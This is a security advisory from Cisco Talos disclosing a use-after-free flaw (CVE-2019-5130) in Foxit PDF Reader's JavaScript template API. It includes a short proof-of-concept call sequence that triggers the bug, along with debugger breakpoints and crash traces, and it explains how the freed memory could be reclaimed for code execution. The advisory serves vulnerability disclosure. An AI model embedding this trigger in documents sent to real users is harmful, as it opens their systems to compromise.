Talos Vulnerability Report

TALOS-2019-0935

Foxit PDF Reader Javascript createTemplate Invalid Page Code Execution Vulnerability

January 16, 2020
CVE Number

CVE-2019-5130

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader version 9.7.0.29435. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.7.0.29435

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

Interactive PDF documents support creation of template pages that can be shown or hidden and used to extend the document. Privileged Javascript API that handles templates is provided via createTemplate and removeTemplate methods. There is a problem with how Foxit performs validation of parameters and a certain sequence of template manipulation events can lead to use after free. Following code from the PoC demonstrates this:

app.activeDocs[0].createTemplate(undefined);
app.activeDocs[0].removeTemplate(""); 
app.activeDocs[0].createTemplate("1",0);
app.activeDocs[0].createTemplate("1",-1); 
app.activeDocs[0].createTemplate("1",-1); 

First call to createTemplate with an undefined variable as name parameter actually succeeds and creates a template with undefined name. Then, a call to removeTemplate with empty string as a name actually succeeds, too. Next three calls to createTemplate cause a specific object to be allocated, then freed and then reused in the final call. Second parameter to the createTemplate call is a page number and it should fail with invalid entry of -1. We track Javascript execution and object creation in the debugger with the following breakpoints:

bp FoxitReader!safe_vsnprintf+0x1fe0d5 "be 4;g" # break here to enable next breakpoint where it's actually freed
bp FoxitReader!safe_vsnprintf+0x10d2ae "!heap -p -a poi(esp); g;" # show it before it's freed
bd 4
bp FoxitReader!safe_vsnprintf+0x3d99d6 "?eax ; g" # show all allocations, only enable AFTER JS starts executing

This will show us that the object was allocated during a createTemplate("1",0); call. Further, we can see the following breakpoint output trigger during a createTemplate("1",-1); call:

address 20c26fe0 found in
_DPH_HEAP_ROOT @ 9571000
in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                            2702d5e4:         20c26fe0               20 -         20c26000             2000
6bd4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77d75d3e ntdll!RtlAllocateHeap+0x0000003e
040b950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
02a1c4bb FoxitReader!safe_vsnprintf+0x003d944b
02a1ca46 FoxitReader!safe_vsnprintf+0x003d99d6
02a1c663 FoxitReader!safe_vsnprintf+0x003d95f3
011525fa FoxitReader!google::LogMessageVoidify::operator&+0x00008bfa
0283b7dd FoxitReader!safe_vsnprintf+0x001f876d
0284384a FoxitReader!safe_vsnprintf+0x002007da
0250803e FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0044173e
02506813 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0043ff13
01a73b3a FoxitReader!CryptUIWizExport+0x0010bfba
01a28bc5 FoxitReader!CryptUIWizExport+0x000c1045
031439bb FoxitReader!FXJSE_GetClass+0x0000022b
0330bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7
0314210f FoxitReader!FXJSE_Runtime_Release+0x00000c7f
03142924 FoxitReader!FXJSE_ExecuteScript+0x00000014
01ab1e22 FoxitReader!CryptUIWizExport+0x0014a2a2

The above shows the object is in use just before it's being freed during the first createTemplate("1",-1); call. Then, after the second createTemplate("1",-1); call, we can observe the following crash:

(2208.2340): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=14701fe8 ebx=26fa0fd0 ecx=20c26fe0 edx=00000001 esi=06cfe5e8 edi=00000000
eip=027506e6 esp=06cfe550 ebp=06cfe580 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
FoxitReader!safe_vsnprintf+0x10d676:
027506e6 803909          cmp     byte ptr [ecx],9           ds:002b:20c26fe0=??
0:000> !heap -p -a ecx
    address 20c26fe0 found in
    _DPH_HEAP_ROOT @ 9571000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   2702d5e4:         20c26000             2000
    6bd4ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77e12c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77d73c45 ntdll!RtlpFreeHeap+0x000000d5
    77d73812 ntdll!RtlFreeHeap+0x00000222
    040b94b7 FoxitReader!CFXJSE_Arguments::GetValue+0x00f75537
    04097261 FoxitReader!CFXJSE_Arguments::GetValue+0x00f532e1
    02a1c51b FoxitReader!safe_vsnprintf+0x003d94ab
    02a1cbae FoxitReader!safe_vsnprintf+0x003d9b3e
    02a1c812 FoxitReader!safe_vsnprintf+0x003d97a2
    02750323 FoxitReader!safe_vsnprintf+0x0010d2b3
    028418b5 FoxitReader!safe_vsnprintf+0x001fe845
    0284114a FoxitReader!safe_vsnprintf+0x001fe0da
    02508007 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00441707
    02506813 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0043ff13
    01a73b3a FoxitReader!CryptUIWizExport+0x0010bfba
    01a28bc5 FoxitReader!CryptUIWizExport+0x000c1045
    031439bb FoxitReader!FXJSE_GetClass+0x0000022b
    0330bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
    0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
    0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
    0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
    034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
    0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
    0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
    03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
    03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7
    0314210f FoxitReader!FXJSE_Runtime_Release+0x00000c7f
    03142924 FoxitReader!FXJSE_ExecuteScript+0x00000014
    01ab1e22 FoxitReader!CryptUIWizExport+0x0014a2a2

Process crashes due to access violation when reading from ecx which points to already freed memory. We have showed that the object is freed during first call to createTemplate("1",-1); which gives us chance to reallocate this memory before it is reused during the second call. By controlling the freed memory, it is possible to manipulate the process into arbitrary code execution.

Timeline

2019-10-23 - Vendor Disclosure
2020-01-16 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.